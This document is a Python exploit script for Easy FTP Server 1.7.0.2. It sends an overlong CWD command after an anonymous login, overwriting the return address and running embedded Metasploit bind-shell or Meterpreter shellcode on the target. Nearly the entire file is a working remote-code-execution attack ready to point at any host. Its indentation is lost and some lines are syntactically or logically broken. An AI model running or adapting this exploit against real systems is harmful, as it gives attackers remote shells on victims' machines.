|
#!/usr/bin/env python
# RCE for Easy FTP Server 1.7.0.2 w/ RET overwrite
# app @ http://code.google.com/p/easyftpsvr/
# Copyright 2010 Paul Makowski, GPLv2
# explanation of technique: http://wp.me/pBV1X-3Q
# based on: http://seclists.org/bugtraq/2010/Feb/202
# version 0.1
import socket
from sys import exit
from optparse import OptionParser
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", metavar="TARGET", type="string", help="target IP address")
parser.add_option("-p", "--port", dest="port", metavar="PORT", type="string", help="target port")
(options, args) = parser.parse_args()
if not options.target: parser.error("Target unspecified.")
if not options.port: options.port = 21
# -- #
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect = s.connect((options.target, int(options.port)))
print "[+] connected"
except:
print "[-] connection failed"
exit(1)
# get to vulnerable code (post auth, defaults allow anon login)
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS anonymous\r\n")
s.recv(1024)
### fixRet ###
# ret is located @ 0x009afe64 & needs to be replaced with part of our payload (or NOPs)
fixRet = (
"\x31\xc0" + # xor %eax,%eax
"\x31\xdb" + # xor %ebx,%ebx
"\x31\xc9" + # xor %ecx,%ecx
"\xb8\xce\x54\x30\xaa" + # mov $0xaa3054ce,%eax
"\xbb\xaa\xaa\xaa\xaa" + # mov $0xaaaaaaaa,%ebx
"\x31\xd8" + # xor %ebx,%eax (now %eax should hold 0x009AFE64)
#"\xb9\x90\x90\x90\x90" + # mov $0x90909090,%ecx (use this if your payload <= 233 bytes)
#"\xb9\x1a\x29\xeb\x0e" + # mov $0xeeb291a,%ecx (4 bytes of bind_tcp payload to overwrite RET with)
"\xb9\x5f\xe4\xe0\xae" + # mov $0xaee0e45f,%ecx (4 bytes of meterpreter_bind_tcp payload to overwrite RET with)
"\x89\x08" ) # mov %ecx,(%eax)
### payloads ###
# $ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"
# [*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)
bind_tcp = (
# this will go before the RET location
"\x33\xc9\xb1\x56\xd9\xf6\xd9\x74\x24\xf4\xbb\xcb\xf4\x35" +
"\xcb\x58\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\x29\x01\xc9" +
"\x23\x24\xea\x32\xb4\x56\x62\xd7\x85\x44\x10\x93\xb4\x58" +
"\x52\xf1\x34\x13\x36\xe2\xcf\x51\x9f\x05\x67\xdf\xf9\x28" +
"\x78\xee\xc5\xe7\xba\x71\xba\xf5\xee\x51\x83\x35\xe3\x90" +
"\xc4\x28\x0c\xc0\x9d\x27\xbf\xf4\xaa\x7a\x7c\xf5\x7c\xf1" +
"\x3c\x8d\xf9\xc6\xc9\x27\x03\x17\x61\x3c\x4b\x8f\x09\x1a" +
"\x6c\xae\xde\x79\x50\xf9\x6b\x49\x22\xf8\xbd\x80\xcb\xca" +
"\x81\x4e\xf2\xe2\x0f\x8f\x32\xc4\xef\xfa\x48\x36\x8d\xfc" +
"\x8a\x44\x49\x89\x0e\xee" +
# these 4 bytes will be written over RET by fixRet
"\x1a\x29\xeb\x0e" +
# this will go after the RET location
"\xce\xaf\x78\x1c" +
"\xbb\xa4\x27\x01\x3a\x69\x5c\x3d\xb7\x8c\xb3\xb7\x83\xaa" +
"\x17\x93\x50\xd3\x0e\x79\x36\xec\x51\x25\xe7\x48\x19\xc4" +
"\xfc\xea\x40\x81\x31\xc0\x7a\x51\x5e\x53\x08\x63\xc1\xcf" +
"\x86\xcf\x8a\xc9\x51\x2f\xa1\xad\xce\xce\x4a\xcd\xc7\x14" +
"\x1e\x9d\x7f\xbc\x1f\x76\x80\x41\xca\xd8\xd0\xed\xa5\x98" +
"\x80\x4d\x16\x70\xcb\x41\x49\x60\xf4\x8b\xfc\xa7\x3a\xef" +
"\xac\x4f\x3f\x0f\x42\xd3\xb6\xe9\x0e\xfb\x9e\xa2\xa6\x39" +
"\xc5\x7a\x50\x42\x2f\xd7\xc9\xd4\x67\x31\xcd\xdb\x77\x17" +
"\x7d\x70\xdf\xf0\xf6\x9a\xe4\xe1\x08\xb7\x4c\x6b\x31\x5f" +
"\x06\x05\xf3\xfe\x17\x0c\x63\x63\x85\xcb\x74\xea\xb6\x43" +
"\x22\xbb\x09\x9a\xa6\x51\x33\x34\xd5\xa8\xa5\x7f\x5d\x76" +
"\x16\x81\x5f\xfb\x22\xa5\x4f\xc5\xab\xe1\x3b\x99\xfd\xbf" +
"\x95\x5f\x54\x0e\x4c\x09\x0b\xd8\x18\xcc\x67\xdb\x5e\xd1" +
"\xad\xad\xbf\x63\x18\xe8\xc0\x4b\xcc\xfc\xb9\xb6\x6c\x02" +
"\x10\x73\x9c\x49\x39\xd5\x35\x14\xab\x64\x58\xa7\x01\xaa" +
"\x65\x24\xa0\x52\x92\x34\xc1\x57\xde\xf2\x39\x25\x4f\x97" +
"\x3d\x9a\x70\xb2\x34" )
# $ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff\x2f\x5c"
# [*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)
meterpreter_bind_tcp = (
# this will go before the RET location
"\xbf\xdd\x9f\x97\x4f\x29\xc9\xb1\x4b\xda\xc2\xd9\x74\x24" +
"\xf4\x5d\x31\x7d\x11\x03\x7d\x11\x83\xed\xfc\xe2\x28\x63" +
"\x7f\xc6\xd2\x9c\x80\xb9\x5b\x79\xb1\xeb\x3f\x09\xe0\x3b" +
"\x34\x5f\x09\xb7\x18\x74\x9a\xb5\xb4\x7b\x2b\x73\xe2\xb2" +
"\xac\xb5\x2a\x18\x6e\xd7\xd6\x63\xa3\x37\xe7\xab\xb6\x36" +
"\x20\xd1\x39\x6a\xf9\x9d\xe8\x9b\x8e\xe0\x30\x9d\x40\x6f" +
"\x08\xe5\xe5\xb0\xfd"
# these 4 bytes will be written over RET by fixRet
"\x5f\xe4\xe0\xae" +
# this will go after the RET location
"\xd4\xae\x18\xc4\xb3" +
"\x0e\x18\x09\xa0\x72\x53\x26\x13\x01\x62\xee\x6d\xea\x54" +
"\xce\x22\xd5\x58\xc3\x3b\x12\x5e\x3c\x4e\x68\x9c\xc1\x49" +
"\xab\xde\x1d\xdf\x29\x78\xd5\x47\x89\x78\x3a\x11\x5a\x76" +
"\xf7\x55\x04\x9b\x06\xb9\x3f\xa7\x83\x3c\xef\x21\xd7\x1a" +
"\x2b\x69\x83\x03\x6a\xd7\x62\x3b\x6c\xbf\xdb\x99\xe7\x52" +
"\x0f\x9b\xaa\x3a\xfc\x96\x54\xbb\x6a\xa0\x27\x89\x35\x1a" +
"\xaf\xa1\xbe\x84\x28\xc5\x94\x71\xa6\x38\x17\x82\xef\xfe" +
"\x43\xd2\x87\xd7\xeb\xb9\x57\xd7\x39\x6d\x07\x77\x92\xce" +
"\xf7\x37\x42\xa7\x1d\xb8\xbd\xd7\x1e\x12\xd6\x29\x3b\xce" +
"\xb1\x4b\xbb\xe0\x1d\xc5\x5d\x68\x8e\x83\xf6\x05\x6c\xf0" +
"\xcf\xb2\x8f\xd2\x7c\x6a\x18\x6a\x6b\xac\x27\x6b\xbe\x9e" +
"\x84\xc3\x28\x55\xc7\xd7\x49\x6a\xc2\x7f\x1e\xfd\x98\x11" +
"\x6d\x9f\x9d\x3b\x07\x5f\x08\xc0\x81\x08\xa4\xca\xf4\x7f" +
"\x6b\x34\xd3\x0b\xa2\xa0\x9b\x63\xcb\x24\x1b\x74\x9d\x2e" +
"\x1b\x1c\x79\x0b\x48\x39\x86\x86\xfd\x92\x13\x29\x57\x46" +
"\xb3\x41\x55\xb1\xf3\xcd\xa6\x94\x05\x31\x71\xd1\x83\x43" +
"\xf4\x31\x48\xa1" )
#-----------------------attack string------------------------
# retFix | nopsled | payload, part 1 | ret | payload, part 2
#------------------------------------------------------------
print "[*] building attack string"
ret = "\x58\xFD\x9A\x00" # 0x009AFD58; taken
beforeRetSize = 268
afterRetSize = 233
payload = meterpreter_bind_tcp # switch this to bind_tcp if you wish to use this payload
# put retFix in our attack string
attackString = fixRet
print "\t[*] added fixRet function; attackString is " + str(len(attackString)) + " bytes long"
# append enough NOPs to hit either the beginning of the payload or the location of ret
if len(payload) <= afterRetSize + 4: # payload will not occupy any space before ret
attackString += "\x90" * (beforeRetSize - len(fixRet))
print "\t[*] payload fits beyond RET location; added a NOP sled to RET location; attackString is " + str(len(attackString)) + " bytes long"
else: # payload will occupy space before ret
attackString += "\x90" * (beforeRetSize - len(fixRet) - (len(payload) - afterRetSize - 4))
print "\t[*] payload doesn't fit beyond RET location; adding a NOP sled to first part of payload; attackString is " + str(len(attackString)) + " bytes long"
# if the payload will not fit beyond the ret, some needs to be written before the ret
attackString += payload[:len(payload) - afterRetSize - 4]
print "\t[*] added first part of payload; attackString is " + str(len(attackString)) + " bytes long"
# the ret
attackString += ret
print "\t[*] added RET value; attackString is " + str(len(attackString)) + " bytes long"
# append enough NOPs to hit the payload (only if payload is smaller than afterRetSize)
if len(payload) <= afterRetSize:
attackString += "\x90" * afterRetSize - len(payload) + payload
print "\t[*] payload fits beyond RET location; added a NOP sled and payload; attackString is " + str(len(attackString)) + " bytes long"
else:
attackString += payload[len(payload) - afterRetSize:]
print "\t[*] payload doesn't fit beyond RET location; adding second part of payload; attackString is " + str(len(attackString)) + " bytes long"
### exploit ###
# at this point, attackString should be 505 bytes long
print "[*] sending attack string..."
s.send('CWD ' + attackString + '\r\n')
print "[+] attach string sent. payload should have executed."
s.close()
|